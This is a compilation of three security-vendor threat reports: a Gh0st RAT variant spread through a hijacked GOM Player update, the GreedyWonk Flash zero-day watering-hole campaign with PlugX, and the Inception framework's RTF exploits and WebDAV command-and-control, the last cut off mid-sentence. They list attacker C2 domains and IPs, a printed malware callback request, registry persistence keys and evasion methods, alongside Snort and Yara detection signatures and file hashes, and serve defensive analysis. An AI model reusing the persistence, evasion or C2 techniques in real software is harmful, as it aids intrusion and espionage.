Update URL
app.gomlab.com
GOM Player
Upd ate Requ est
1
GOM Update
2        Download Request
GOM Player and
Malware
Victim                          3                                                        www.fudousankaitori.jp
Malware Command
And Control
Key
Compromised Server
Attacker Infrastructure                                                                 testqweasd.tk
A diagram illustrating the modified flow of the GOM Player update process which led to the compromise
2   http://hummingbird.tistory.com/5187
TLP: WHITE                                                                Page 5 / 11
TLP: WHITE
3.2 Malware
3.2.1 Overview
Deployed to the system via a compressed bundle containing the official GOM Player
setup binary and a self-extracting RAR archive containing the malicious files, the
malware consists of a number of individual pieces.
Upon extraction from the RAR
archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is
automatically launched alongside the GOM Player update, distracting victims from the
malicious activity taking place.
The installer component is referred to by the author as ‘miansha' which, according to an
East Asia Cyber Threat Intelligence Researcher, is likely Miǎnshā (免杀), a phrase
commonly used by People’s Republic of China (PRC) hackers to mean ‘anti Antivirus
detection’ or ‘Antivirus avoidance’; Symantec[3] have named the detection for this
code ‘Backdoor.
Miancha’, where Miǎnchá (免查, likely shorthand for 免杀查) similarly
means ‘Antivirus avoidance’.
The installer is responsible for the malware persistence
mechanism, adding entries to the registry in the following locations, depending on
Windows Version:
Miancha Persistence Registry Keys
Windows Vista and later                     HKEY_USERS\.default\Software\Classes\CLSID\{ECD4FC4D-
5213-11D0-B792-00A0C90312E1}\InProcServer32\@ =
expand:"C:\WINDOWS\temp\install.ocx"
Prior to Windows Vista                      HKEY_USERS\.default\Software\Classes\CLSID\{B12AE898-
D056-4378-A844-6D393FE37956}\InProcServer32\@ =
expand:"C:\WINDOWS\temp\install.ocx"
The installer will also determine the system architecture (32- or 64-bit) and then
deobfuscate the relevant loader DLL to the path ‘C:\Windows\temp\install.ocx’,
ensuring the malware is launched on system start-up.
Oddly, this file is padded with null
bytes, resulting in a 25 megabyte file.
Repackaged Update
GoMPLAYERJPSETUP.EXE (a9225e059d9dace1b259bceec7f48dae)
Real GOM Player Installer        Self-extracting RAR Archive containing Malware
GOMPLAYERJPSETUP_JP.EXE (1ff3b3628e40f0215afacf482ba17782)          GOMPLAYERBETASETUP_JP.exe (db79a93448acac8786581858f3edc36a)
Obfuscated Malware Loaders
Malicious Installer
dll.tmp (d5548e1913950a42a04debcac4222bd2)
install.exe (0ae82fd94836815a1e8d284ccb75109d)
dll64.tmp (01f7b465242237bd3d31d39767aa68e0)
Obfuscated Implant Code
instructions.pdf (569071c45f47b7fb7a75f30bc07d5739)
instructions64.pdf (55474f8e26f2b6fc3b5d78ce9a77b0b0)
The deployment chain of the Miancha Gh0st variant
3   http://www.symantec.com/security_response/writeup.jsp?docid=2014-012407-3922-99
TLP: WHITE                                                                  Page 6 / 11
TLP: WHITE
The main implant code is stored in files named instructions.pdf and instructions64.pdf;
not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar
to the malware loader DLLs.
The loader, referred to by the malware author as 壳 (shell),
reads and deobfuscates the main implant code which then communicates with the
attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443.
The main
implant code is referred to as 白加黑 (‘Black on White’), a term used in the PRC hacking
community to denote the act of Antivirus avoidance through the loading of malicious
‘black’ code via non-malicious or trusted ‘white‘ code.
This is a practice recently
illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking
alongside a signed (trusted) executable.
Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by
Chinese actors (including those who are state-motivated or directly state-sponsored).
This specific variant shows similarities to that used during the VOHO campaign[4], where
Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging
to financial services and technology companies.
Specifically, the initial five bytes of the
communications (often used to denote a campaign or victim) are ‘HTTPS’, amended
from the original ‘Gh0st’; the same as the traffic produced by the VOHO Gh0st variant.
In addition to delivering system-specific details back to the attacker, Gh0st RAT provides
the capability to deploy additional malware, enabling the harvesting of sensitive data
and enabling the further propagation throughout the infected network.
4   https://blogs.rsa.com/voho-apt-campaign-update/
TLP: WHITE                                            Page 7 / 11
TLP: WHITE
3.2.2 Detection
To enable rapid response, the following Snort signature can be deployed:
alert tcp $HOME_NET any -> $EXTERNAL_NET 53,80,443,1080 (msg:"gh0st RAT 'HTTPS' variant
(aka Backdoor.
Miancha)"; flow:established,to_server; content:"HTTPS"; depth:5; rawbytes;
classtype:trojan-activity; sid:xxx; rev:1;)
Additionally, the following Yara signature should identify both encoded payloads and
the active implant in memory:
rule Trojan_W32_Gh0stMiancha_1_0_0
{
strings:
$0x = { 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19   1e   5c   7b
67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a   60   71   7a
60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b   7a   7a   71
77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39   78   71   7a
73 60 7c 2e 34 24 19 1e 19 1e }
$1 = { 5c e7 99 bd e5 8a a0 e9 bb 91 5c }
$1x = { 48 f3 8d a9 f1 9e b4 fd af 85 48 }
$2 = "DllCanLoadNow"
$2x = { 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 }
$3x = { 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 }
$4 = "JXNcc2hlbGxcb3Blblxjb21tYW5k"
$4x = { 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26   25 60 4d
43 21 7f }
$5 = "SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA=="
$5x = { 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52   46 5e 40
24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e   4e 4c 5a
6e 76 27 5e 77 59 55 29 29 }
$6 = "C:\\Users\\why\\"
$6x = { 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 }
$7 = "g:\\ykcx\\"
$7x = { 73 2E 48 6D 7F 77 6C 48 }
$8 = "(miansha)"
$8x = { 3C 79 7D 75 7A 67 7C 75 3D }
$9 = "server(\xE5\xA3\xB3)"
$9x = { 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1   B7 A7 3D
48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 }
$cfgDecode = { 8a ??
??
80 c2 7a 80 f2 19 88 ??
??
41 3b ce 7c ??}
condition:
any of them
}
TLP: WHITE                                             Page 8 / 11
TLP: WHITE
4 Appendix A – File Metadata
Gh0stMiancha Installer
MD5                     0ae82fd94836815a1e8d284ccb75109d
SHA1                    bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c
SHA256                  b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d
Size (bytes)            13314
Compile Time            2013-11-22 12:19:48 UTC
In-the-wild Filenames   install.exe
PDB String              g:\ykcx\install(miansha)\Release\install.pdb
Obfuscated TrojanLoader:W32/Gh0stMiancha
MD5                     d5548e1913950a42a04debcac4222bd2
SHA1                    ac48bc2deefd30dad762a23e85409a7eec48b723
SHA256                  3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74
Size (bytes)            10299
Compile Time            N/A
In-the-wild Filenames   dll.tmp
TrojanLoader:W32/Gh0stMiancha
MD5                     04e7361323b431f7c9f86388f316bbea
SHA1                    e3c095c7ace563b41b3f4310f3de69e47c86fd03
SHA256                  73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae
Size (bytes)            10299
Compile Time            2013-11-26 09:34:10 UTC
In-the-wild Filenames   install.ocx
PDB String              h:\2013.11.25\server(壳)\Release\server.pdb
Obfuscated TrojanLoader:W64/Gh0stMiancha
MD5                     01f7b465242237bd3d31d39767aa68e0
SHA1                    db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47
SHA256                  ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900
Size (bytes)            12347
Compile Time            N/A
In-the-wild Filenames   dll64.tmp
TrojanLoader:W64/Gh0stMiancha
MD5                     008fbd0fde06edb31fc7eecdae1a3030
SHA1                    b9ae0a079cd1dae96425ced4bb96ba0f71c87a7a
TLP: WHITE                                        Page 9 / 11
TLP: WHITE
SHA256                  cc8d38d3cc214ff3ad10d6859a88e018b1f7e0ed6df7d04a6f4368bda851ba14
Size (bytes)            12347
Compile Time            2013-11-26 11:47:39 UTC
In-the-wild Filenames   install.ocx
PDB String              C:\Users\why\Desktop\server(壳)\x64\Release\server.pdb
Obfuscated Trojan:W32/Gh0stMiancha
MD5                     569071c45f47b7fb7a75f30bc07d5739
SHA1                    540bb9d2dee8f4e10e5ae0a5cc900b346a57a198
SHA256                  8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716
Size (bytes)            169019
Compile Time            N/A
In-the-wild Filenames   instructions.pdf
Trojan:W32/Gh0stMiancha
MD5                     916b1a07efb145c450b4c13540be6c3e
SHA1                    7984639beb4e9870301d3b44a68b4346f9a6b826
SHA256                  f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e
Size (bytes)            169019
Compile Time            2013-12-06 08:08:28 UTC
In-the-wild Filenames   N/A
PDB String              h:\2013.11.25\白加黑\server(update.dll)(instructions.pdf)\Release\server.pdb
Obfuscated Trojan:W64/Gh0stMiancha
MD5                     55474f8e26f2b6fc3b5d78ce9a77b0b0
SHA1                    3f714c33992e906e69df2d5d4971beaed336d9f4
SHA256                  27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037
Size (bytes)            233019
Compile Time            N/A
In-the-wild Filenames   instructions64.pdf
Trojan:W64/Gh0stMiancha
MD5                     1d2c77f0f8a715de09ce6fae5fc800d4
SHA1                    30784735763b060a39f76c29439a6aebbf6a4b9b
SHA256                  2fdf454f6b1c82d757d054bea5f0438f5da1ecd9e5059610d3d4b74e75a7c8b0
Size (bytes)            233019
Compile Time            2013-12-06 08:10:34 UTC
In-the-wild Filenames   N/A
PDB String              C:\Users\why\Desktop\server(update.dll)(instructions.pdf)x64\x64\Release\server.pdb
TLP: WHITE                                                            Page 10 / 11
TLP: WHITE
Context Information Security - Threat Intelligence - threat@contextis.co.uk
London (HQ)            Cheltenham                 Düsseldorf              Melbourne
4th Floor              Corinth House              1.OG                    4th Floor
30 Marsh Wall          117 Bath Road              Adersstr.
28            155 Queen Street
London E14 9TP         Cheltenham GL53 7LS        40215 Düsseldorf        Melbourne VIC 3000
United Kingdom         United Kingdom             Germany                 Australia
TLP: WHITE                                             Page 11 / 11
Operation GreedyWonk: Multiple Economic and Foreign Policy Sites
Compromised, Serving Up Flash Zero-Day Exploit
Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud
has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash.
We are collaborating with Adobe security on this issue.
Adobe has assigned the CVE identifier CVE-2014-
0502 to this vulnerability and released a security bulletin.
As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of
national security and public policy — were redirected to an exploit server hosting the zero-day exploit.
We’re dubbing this attack “Operation GreedyWonk.”
We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based
on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise),
attack infrastructure, and malware configuration properties.
The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits)
and a determination to infect visitors to foreign and public policy websites.
The threat actors likely sought
to infect users to these sites for follow-on data theft, including information related to defense and public
policy matters.
Discovery
On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash
Player (12.0.0.4 and 11.7.700.261).
Visitors to the Peter G. Peterson Institute for International Economics
(www.piie[.
]com) were redirected to an exploit server hosting this Flash zero-day through a hidden
iframe.
We subsequently found that the American Research Center in Egypt (www.arce[.
]org) and the Smith
Richardson Foundation (www.srf[.
]org) also redirected visitors the exploit server.
All three organizations
are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national
security and public policy issues.
Mitigation
To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets
computers with any of the following configurations:
Windows XP
Windows 7 and Java 1.6
Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010
Users can mitigate the threat by upgrading from Windows XP and updating Java and Office.
If you
have Java 1.6, update Java to the latest 1.7 version.
If you are using an out-of-date Microsoft Office 2007
or 2010, update Microsoft Office to the latest version.
These mitigations do not patch the underlying vulnerability.
But by breaking the exploit’s ASLR-bypass
measures, they do prevent the current in-the-wild exploit from functioning.
Vulnerability analysis
GreedyWonk targets a previously unknown vulnerability in Adobe Flash.
The vulnerability permits an
attacker to overwrite the vftable pointer of a Flash object to redirect code execution.
ASLR bypass
The attack uses only known ASLR bypasses.
Details of these techniques are available from our previous
blog post on the subject (in the “Non-ASLR modules” section).
For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C
runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).
On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the
user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has
Microsoft Office 2007 or 2010.
Java 1.6 is no longer supported and does not receive security updates.
In addition to the MSVCR71.dll
ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6.
That’s why
FireEye strongly recommends upgrading to Java 1.7.
The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013.
More details about this
bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry.
FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.
Shellcode analysis
The shellcode is downloaded in ActionScript as a GIF image.
Once ROP marks the shellcode as executable
using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and
InternetReadFile functions.
Then it writes the file to disk with CreateFileA and WriteFile functions.
Finally, it runs the file using the WinExec function.
PlugX/Kaba payload analysis
Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash
507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint.
This PlugX sample was
compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for
this campaign.
This PlugX payload was configured with the following command-and-control (CnC) domains:
java.ns1[.
]name
adservice.no-ip[.
]org
wmi.ns01[.
]us
Sample callback traffic was as follows:
POST /D28419029043311C6F8BF9F5 HTTP/1.1
Accept: */*
HHV1: 0
HHV2: 0
HHV3: 61456
HHV4: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
InfoPath.2; .NET CLR 2.0.50727; SV1)
Host: java.ns1.name
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
Campaign analysis
Both java.ns1[.
]name and adservice.no-ip[.
]org resolved to 74.126.177.68 on Feb. 18, 2014.
Passive DNS
analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4,
2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.
java.ns1[.
]name also resolved to
192.74.246.219 on February 18.
Domain                  First Seen    Last Seen        IP Address
adservice.no-ip[.
]org   2014-02-18    2014-02-19       74.126.177.68
java.ns1[.
]name         2014-02-18    2014-02-19       74.126.177.68
java.ns1[.
]name         2014-02-18    2014-02-18       192.74.246.219
wmi.ns01[.
]us           2014-02-17    2014-02-17       192.74.246.219
proxy.ddns[.
]info       2013-05-02    2014-02-18       103.246.246.103
updatedns.ns02[.
]us 2013-09-06       2013-09-06      103.246.246.103
updatedns.ns01[.
]us 2013-09-06       2013-09-06      103.246.246.103
wmi.ns01[.
]us       2013-07-04       2013-07-15      103.246.246.103
Further research uncovered a number of older malware samples connecting to the same domain
wmi.ns01[.
]us.
MD5                               Family Compile Alternate C2s
Time
7995a9a6a889b914e208eb924e459ebc PlugX     2012-06-09 fuckchina.govnb[.
]com
bf60b8d26bc0c94dda2e3471de6ec977 PlugX     2010-03-15 microsafes.no-ip[.
]org
fd69793bd63c44bbb22f9c4d46873252 Poison 2013-03-07 N/A
Ivy
88b375e3b5c50a3e6c881bc96c926928 Poison 2012-06-11 N/A
Ivy
cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison 2012-06-11 N/A
Ivy
Domain                 First Seen   Last Seen       IP Address
fuckchina.govnb[.
]com 2013-12-11    2013-12-11      204.200.222.136
microsafes.no-ip[.
]org 2014-02-12   2014-02-12      74.126.177.70
microsafes.no-ip[.
]org 2013-12-04   2013-12-04      74.126.177.241
The Poison Ivy variants that connected to the domain wmi.ns01[.
]us had the following unique
configuration properties:
MD5                              Password                   Mutex
fd69793bd63c44bbb22f9c4d46873252 java7                      NBCD*&^FE
88b375e3b5c50a3e6c881bc96c926928 admin                      ytf^&^333
cd07a9e49b1f909e1bd9e39a7a6e56b4 admin                      ytf^&^333
We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7”
password, which was dropped by an Adobe Flash exploit (CVE-2012-0779).
In this previous incident,
visitors to the Center for Defense Information website (www.cdi[.
]org — also an organization involved in
defense matters — were redirected to an exploit server at 159.54.62.92.
This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5
1ec5141051776ec9092db92050192758).
This exploit, in turn, dropped the Poison Ivy variant.
In addition
to using the same password “java7,” this variant was configured with the mutex with the similar pattern of
“YFds*&^ff” and connected to a CnC server at windows.ddns[.
]us.
Using passive DNS analysis, we see the domains windows.ddns[.
]us and wmi.ns01[.
]us both resolved to
76.73.80.188 in mid-2012.
Domain              First Seen       Last Seen       IP Address
wmi.ns01.us         2012-07-07       2012-09-19      76.73.80.188
windows.ddns.us     2012-05-23       2012-06-10      76.73.80.188
During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java
exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e).
This jar file exploited CVE-2012-0507 and
dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52).
This Poison Ivy
variant connected to a CnC server at ids.ns01[.]us.
The domain ids.ns01[.
]us also overlaps with the
domain wmi.ns01[.
]us on the IP 194.183.224.75.
Domain              First Seen       Last Seen         IP Address
wmi.ns01[.
]us       2012-07-03       2012-07-04        194.183.224.75
ids.ns01[.
]us       2012-04-23       2012-05-18        194.183.224.75
The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via
an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.
]be).
In this case, visitors were redirected from www.ceps[.
]be to a Java exploit hosted on shop.fujifilm[.
]be.
In what is certainly not a coincidence, we also observed www.arce[.
]org (one of the sites redirecting to the
current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.
]be in 2013.
Conclusion
This threat actor clearly seeks out and compromises websites of organizations related to international
security policy, defense topics, and other non-profit sociocultural issues.
The actor either maintains
persistence on these sites for extended periods of time or is able to re-compromise them periodically.
This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a
variety of malware families on compromised systems.
Based on these and other observations, we conclude
that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-
term.
Whitepaper:
The Inception Framework:
Cloud-hosted APT
By Snorre Fagerland and Waylon Grange
Blue Coat Systems, Inc
1
Executive summary
Blue Coat researchers have uncovered a previously-undocumented, highly
automated, and extremely sophisticated framework for performing targeted
attacks.
The framework is notable for a number of reasons, including (but not
limited to) its use of a cloud-based infrastructure for command-and-control and its
use of the WebDAV protocol to send instructions and receive exfiltrated
information from compromised systems.
Initial malware components were embedded in Rich Text Format (RTF) files.
Exploitation of vulnerabilities in this file format is leveraged to gain remote access
to victim’s computers.
The framework, thus far, has been using the services of a cloud service provider
based in Sweden, CloudMe.com, for its main command-and-control
infrastructure.
Malware payloads designed for a wide array of potential devices,
including home routers and mobile devices running iOS, BlackBerryOS or
Android, were also recovered during the course of our research.
The framework is designed in such a way that all post-infection communication
(i.e.
target surveying, configuration updates, malware updates, and data
exfiltration) can be performed via the cloud service.
The malware components of
this framework follow a plugin model, where new malware rely on other,
previously delivered malware components to interact with the framework.
Initial attacks were largely focused on Russia and a few other Eastern European
countries.
However, we have later seen that attackers are interested in targets all
over the globe.
The framework is itself target-agnostic, and seems highly automated.
The operational security exhibited by the attackers is very good - among the best
we have seen.
Most interaction between attackers and their infrastructure is
performed via a convoluted network of router proxies and rented hosts.
Although the attackers have left a few clues, we have been unable to provide
attribution with any degree of accuracy.
2
Introduction
The use of software vulnerabilities in order to execute malicious software on
unsuspecting users’ computers is an important parameter to monitor.
This
method of attack is not only known to have a considerable success rate, it is also
often deployed by resourceful attackers and, as such, marks a threat worth
paying attention to.
The use of exploits in document formats like PDF, DOC and RTF is in some
ways especially noteworthy.
Documents are commonly exchanged via mail,
which make them perfect for email-borne targeted attacks; what is otherwise
known as spear phishing.
In March, 2014, Microsoft published information about a new vulnerability in Rich
Text Format (RTF).
This vulnerability, named CVE-2014-1761 (Microsoft Word
RTF Object Confusion), had already been used effectively by attackers at the
time of the announcement.
Two previous vulnerabilities in the RTF file format,
known as CVE-2010-3333 and CVE-2012-0158, had become, by that time,
mainstays of targeted attacks, so we tracked how attackers implemented this
new exploit with keen interest.
By late August, we identified a malware espionage operation that used both the
CVE-2014-1761 and CVE-2012-0158 vulnerabilities to trigger execution of the
malicious payload, and which leveraged a single cloud service as the backbone
of its entire visible infrastructure.
When we examined the suspicious documents, it was discovered that they were
somewhat anomalous compared to the run-of-the-mill material.
They turned out
to belong to a highly advanced and professional targeted attack framework,
which utilized a complex series of techniques to survey potential targets.
Due to the many levels of obfuscation and indirection, we named this the
Inception framework; but there ends all similarity with the movie by the same
name.
Leonardo DiCaprio is not associated with this investigation.
3
PART I:
CloudMe
4
Use of trojanized documents
We initially knew little about who the actual targets were; apart from one.
In that
particular case we had the actual phishing email, so we knew the apparent
recipient – the CEO of a large Russian bank.
The email was apparently sent from
“Mrs.
World”; note the Mrs., and not Miss - World.
The weaponized Microsoft Word document attached to the email message
(“photo.doc”) contained two separate exploits: one targeting the vulnerability
detailed in CVE-2012-0158 (MSCOMCTL ActiveX Buffer Overflow); the other
targeting the aforementioned CVE-2014-1761.
5
Above: “Mrs.
World”.
Text and picture apparently taken from the news site mk.ru
We soon discovered that our malware repository contained several other, similar
documents, but these had come from other sources which did not include the
email message, or any identifiable information about the targets.
However, the
text of the documents covered a variety of topics mostly revolving around
Russian issues relating to a variety of business sectors.
The following pages
highlight a representative selection of these documents.
6
An article cribbed verbatim from the
Novye Izvestiya news Web site
about the Russian financial situation
in light of the Ukrainian crisis.
An application form to participate in
a seminar supposedly organized by
Russia’s Federal Service for
Defense Contracts (“Федеральная
служба по оборонному заказу”)
scheduled for Sept 24/25 2014.
An article, in English, about the
Ukraine situation taken from the
Financial Times (UK) newspaper.
An “advertisement” from a supplier
of diesel engines and related
mechanical services.
The letter lists
the Russian navy and the Border
Guard department of the FSB
among their customers.
7
“Organigrama Gobierno Rusia.doc”
– a summary profile of several high-
level Russian government officials –
originally submitted to VirusTotal
from an IP address in Spain.
An advertisement of a used car for
sale that purportedly originated from
an employee at the German
Embassy in Moscow.
Invitation to Russian Art Week
8
Document metadata
All documents that we have found so far have been rather standard Word
documents, of the old 97-2003 compatible format based on OLE2.
Such documents can, and typically do, contain quite a bit of metadata: The name
of the document creator; the user who edited it most recently; the name of the
company whose copy of Word was used to create the document, et al.
Users can
optionally configure Word to remove this metadata when a document is saved,
and that’s exactly what the creator of these documents did, stripping out this
potential source of attribution data.
However, Word documents in this format contain additional information, if you
know where to look.
All Word documents of this format contain what’s known as a File Information
Block (FIB).
The FIB contains information about the file’s internal structure, and
also – to some extent – data on the program used to create the file.
In the case
of the samples we analyzed, all of the documents were saved using the same
build of Microsoft Word from Office14 (better known as Office 2010).
In addition, documents can contain slack space in which old data remains.
For
example, the decoy that came with the attack named “Organigrama Gobierno
Rusia.doc” contains Visual Basic leftovers indicating that it originally was created
on a computer that was configured to be used by a native Spanish speaker,
apparently by an advisor at the Spanish Embassy in Moscow.
This document
was presumably obtained by the attackers and repurposed for the attack.
9
Targeted verticals
Despite the limited information at our disposal about the targets of these attacks,
their content reveals some context about who the possible targets may have
been.
First of all, we have the decoy documents which indicate an interest in:
-   Embassies
-   Politics
-   Finance
-   Military
-   Engineering
We also have a set of phishing mails, which were targeted at:
-   The finance sector in Russia
-   The oil and energy industry in Romania, Venezuela, and Mozambique
-   Embassies and diplomats from various countries
10
Shellcode
The shellcode used is a pretty standard variant previously used by a number of
campaigns typically operating out of China, but with some minor changes.
The
malicious content is stored inside the document in encoded form, and the
shellcode decodes and writes this to disk.
Above: The decoding loop
Upon successful execution this code drops a Word document and a Visual Basic
script.
The Word document is displayed to the user to avoid arousing any
suspicion while the script is executed in the background.
Unusual for many exploit campaigns, the names of the dropped files vary; for
example HyHa9AJ.vbs, ew_Rg.vbs, 0_QHdN.vbs, etc.
– clearly randomized in
order to avoid detection by name.
11
Visual Basic Script dropper
The VBScript dropper code is also a little unusual.
It declares a Windows
Management Instrumentation (WMI) object in order to reach components like the
registry and file system.
This seems adapted from Microsoft example code, like
the one found at http://msdn.microsoft.com/en-us/library/aa387236(v=vs.85).aspx
When the VBSript is run it drops two files to disk.
One is a polymorphed dll file
and the other a binary data file with no obvious internal structure.
This data file
turns out to be encrypted using AES-256.
12
The files will be installed in several locations:
%WinDir%,            ex.
“C:\Windows”.
%APPDATA%,           ex.
“C:\Users\USERNAME\AppData\Roaming”
%ALLUSERSPROFILE%, ex.
“C:\ProgramData”
%CommonProgramFiles%, ex.
“C:\Program Files\Common Files”
%USERPROFILE%,       ex.
“C:\Users\USERNAME”
These locations will vary some between operating system versions.
The VBScript then sets a startup key in the
“HKCU\Software\Microsoft\Windows\CurrentVersion\Run” registry path to
execute the DLLs at boot time.
Regardless of whether the registry launches the DLL or when another malware
executable starts the DLL directly, the DLL is launched using regsrv32.exe with
the /s (silent) option.
The names of these dropped files change from attack to attack.
The one above
drops ctfmonrc.dll.
Other names observed were:
ctfmonm.dll
ctfmonrn.dll
wmiprvse.dll
alg.dll
dwm.dll
The encrypted data files are named using random words apparently taken from a
dictionary – “acholias”, “arzner”, “bicorporate”, “crockrell”, “damnatorily” etc.
13
DLL payload
Looking at one of the dropped dlls we can see the authors originally called it
95Num3P3gm.dll.polymorphed.dll.
When executed it will rebuild the original dll
(95Num3p3gm.dll, presumably), load it from memory and pass over execution.
In the early stages of our research, most other payloads followed the same
naming convention, eg., fvK3J15B5d.DLL.polymorphed.DLL;
LvwU9gnFO.DLL.polymorphed.DLL; NR5vaFTe9R.DLL.polymorphed.DLL;
hs78lg7x5F.DLL.polymorphed.DLL, etc.
More recently collected samples no
longer contain the “polymorphed” string.
It is hard to describe the polymorphed dlls with any real depth, as there is little
consistency between them.
When two nearly identical dlls are encoded using the
polymorphic scheme there is very little code in common.
The call graphs are
different and key functions have varying number of arguments.
The polymorphing
mechanism also generates, and inserts, unique functions all of which make calls
to different floating-point operations – all done just to obfuscate the actual
decoding process.
The sizes of buffers allocated are also randomized to mask
their intent.
14
A portion of one of the dynamically generated functions.
What is common is that somewhere along the execution cycle is one extremely
large function (over 200 kb in length) where early in a large allocation is made
where the un-obfuscated binary will be placed.
The binary is then built from de-
obfuscating segments of it that have been dispersed through the ‘.rdata’ section.
The order, size, and locations of these segments vary from build to build but
somewhere near the end of the large function there will be a call to a subfunction
that loads the PE image into memory, followed by a call to free the PE image
allocation from memory.
Simply halting execution before this function call permits
a researcher to extract the reconstructed DLL from memory.
15
Here, pausing execution before the call to ‘load_pe_from_memory’ reveals the
extracted PE at the memory address pointed to by edx.
This reconstructed DLL, once loaded, will decode a configuration structure from
its ‘.data’ section which contains three important details: the name of the
encrypted data file dropped by the VBScript; the AES key used to decrypt the file;
and the name of a unique global mutex to hold while running to prevent multiple
instances.
This configuration information is used to load the encrypted file into memory and
decrypt it.
This turns out to be yet another dll.
The first ordinal exported by this dll
is located and then called, passing in the configuration and the name of the
encrypted file on disk as parameters.
16
This last dll is the heart of the threat (originally called q5Byo.dll in this instance.
This file contains the true intent of this campaign.
It is designed as a survey tool.
The PE file gathers system information including OS version, computer name,
user name, user group membership, the process it is running in, locale ID’s, as
well as system drive and volume information.
All of this is encrypted and then
sent to cloud storage via WebDAV.
17
The malware installation chain
18
WebDAV cloud usage
WebDAV is a communication standard that allows file management over HTTP
or HTTPS.
Windows allows WebDAV sessions to be mapped as network
resources.
The use of WebDAV as the communication channel is atypical for most malware
samples we see.
By using a network resource, the actual web traffic originates
from the system itself, and not from the process in which the malware resides.
Additionally, once the resource is established, the malware can transfer files to
and from the command and control servers using standard file IO commands.
All the authentication information for the WebDAV session including the URL,
folders, path, user name, and password is stored within this last DLL in another
AES-encrypted configuration structure in the binary.
A unique path, username, and password were used for each malware instance
we’ve seen in the wild.
This allows the attackers to uniquely identify every
targeted attack and track how successful each phishing campaign is.
Also contained within the configuration structure is information on how to name
the survey data on the remote file server.
The binary reads from its configuration
a string on how to generate the remote filename, and a list of extensions to use.
An example would be “_1-7d_0-8s”, [“TIF”, “TAR”, “SIT”] which instructs the
binary to generate a filename with 1 to 7 numeric digit characters followed by 0 to
8 ASCII letters with one of the three listed extensions such as “664gher.TAR”.
The survey is then uploaded to the server in a specified folder with the generated
name.
Files are compressed using a modified LZMA-compression and encrypted using
AES cipher-block-chaining (CBC) before being uploaded to the cloud server.
The binary also checks a separate folder on the cloud service designated to
contain new configuration information.
If such a file is present on the server, the
